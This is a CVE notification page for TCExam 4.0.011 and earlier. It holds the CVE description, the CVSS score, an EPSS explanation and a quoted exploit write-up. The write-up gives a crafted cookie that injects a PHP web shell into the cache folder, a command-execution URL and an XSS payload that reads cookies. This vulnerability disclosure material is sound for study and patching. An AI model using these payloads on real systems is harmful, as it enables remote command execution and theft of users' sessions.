Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Dynamic variable evaluation vulnerability in shared/config/tce_config.php in TCExam 4.0.011 and earlier allows remote attackers to conduct cross-site scripting (XSS) and possibly other attacks by modifying critical variables such as $_SERVER, as demonstrated by injecting web script via the _SERVER[SCRIPT_NAME] parameter.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

vulnerable code in /shared/code/tce_tmx.php lines 92-110:
...
public function __construct($tmxfile, $language, $cachefile="") {
// reset array
$this->resource = array();
// set selecteed language
$this->language = strtoupper($language);
// set filename for cache
$this->cachefile = $cachefile;
if (file_exists($this->cachefile)) {
// read data from cache
require_once($this->cachefile);
$this->resource = $tmx;
} else {
if (!empty($this->cachefile)) {
// open cache file
file_put_contents($this->cachefile, "<"."?php\n".
"// CACHE FILE FOR LANGUAGE: ".$language."\n".
"// DATE: ".date("Y-m-d H:i:s")."\n".
"// *** DELETE THIS FILE TO RELOAD DATA FROM TMX FILE ***\n", FILE_APPEND);
}
...
$language argument is not checked for php injection, look at /shared/config/tce_config.php (various commets stripped):
...
if(isset($_REQUEST['lang'])
AND (strlen($_REQUEST['lang']) == 2)
AND (array_key_exists($_REQUEST['lang'],unserialize(K_AVAILABLE_LANGUAGES)))) {
define ("K_USER_LANG", $_REQUEST['lang']);
setcookie("SessionUserLang", K_USER_LANG, time() + K_COOKIE_EXPIRE, K_COOKIE_PATH, K_COOKIE_DOMAIN, K_COOKIE_SECURE);
} elseif (isset($_COOKIE['SessionUserLang'])) {
define ("K_USER_LANG", $_COOKIE['SessionUserLang']);
} else {
define ("K_USER_LANG", K_LANGUAGE);
}
require_once('../../shared/code/tce_tmx.php'); // TMX class
$lang_resources = new TMXResourceBundle(K_PATH_TMX_FILE, K_USER_LANG, K_PATH_CACHE.basename(K_PATH_TMX_FILE, ".xml")."_".K_USER_LANG.".php"); // istantiate new TMXResourceBundle object
$l = $lang_resources->getResource(); // language array
...
you can pass a special crafted 'SessionUserLang' cookie to create a new file in /cache folder
and inject a newline and some php code inside of it, ex:
...
Cookie: SessionUserLang=%2F..%2F%0Asystem%28%24_GET%5BCMD%5D%29%3B%3F%3E%23%2F..%2Fsuntzu;
...
a new file called suntzu.php like this is created in /cache folder;
<?php
// CACHE FILE FOR LANGUAGE: /../
system($_GET[CMD]);?>#/../suntzu
// DATE: 2007-04-29 16:07:25
// *** DELETE THIS FILE TO RELOAD DATA FROM TMX FILE ***
// EOF ----------
?>
which is directly accessible, then
you launch commands:
http://[target]/[path_to_tcexam]/cache/suntzu.php?CMD=ls%20-la
this works regardless of php.ini settings
also I found some xss's because of this code /shared/config/tce_config.php near lines 208-211:
...
// --- get posted and get variables (to be compatible with register_globals off)
foreach ($_REQUEST as $postkey => $postvalue) {
$$postkey = $postvalue;
}
...
which allows to overwrite the $_SERVER[] array and God only knows what:
ex:
http://[target]/[path]/public/code/index.php?_SERVER[SCRIPT_NAME]="><script>alert(document.cookie)</script>
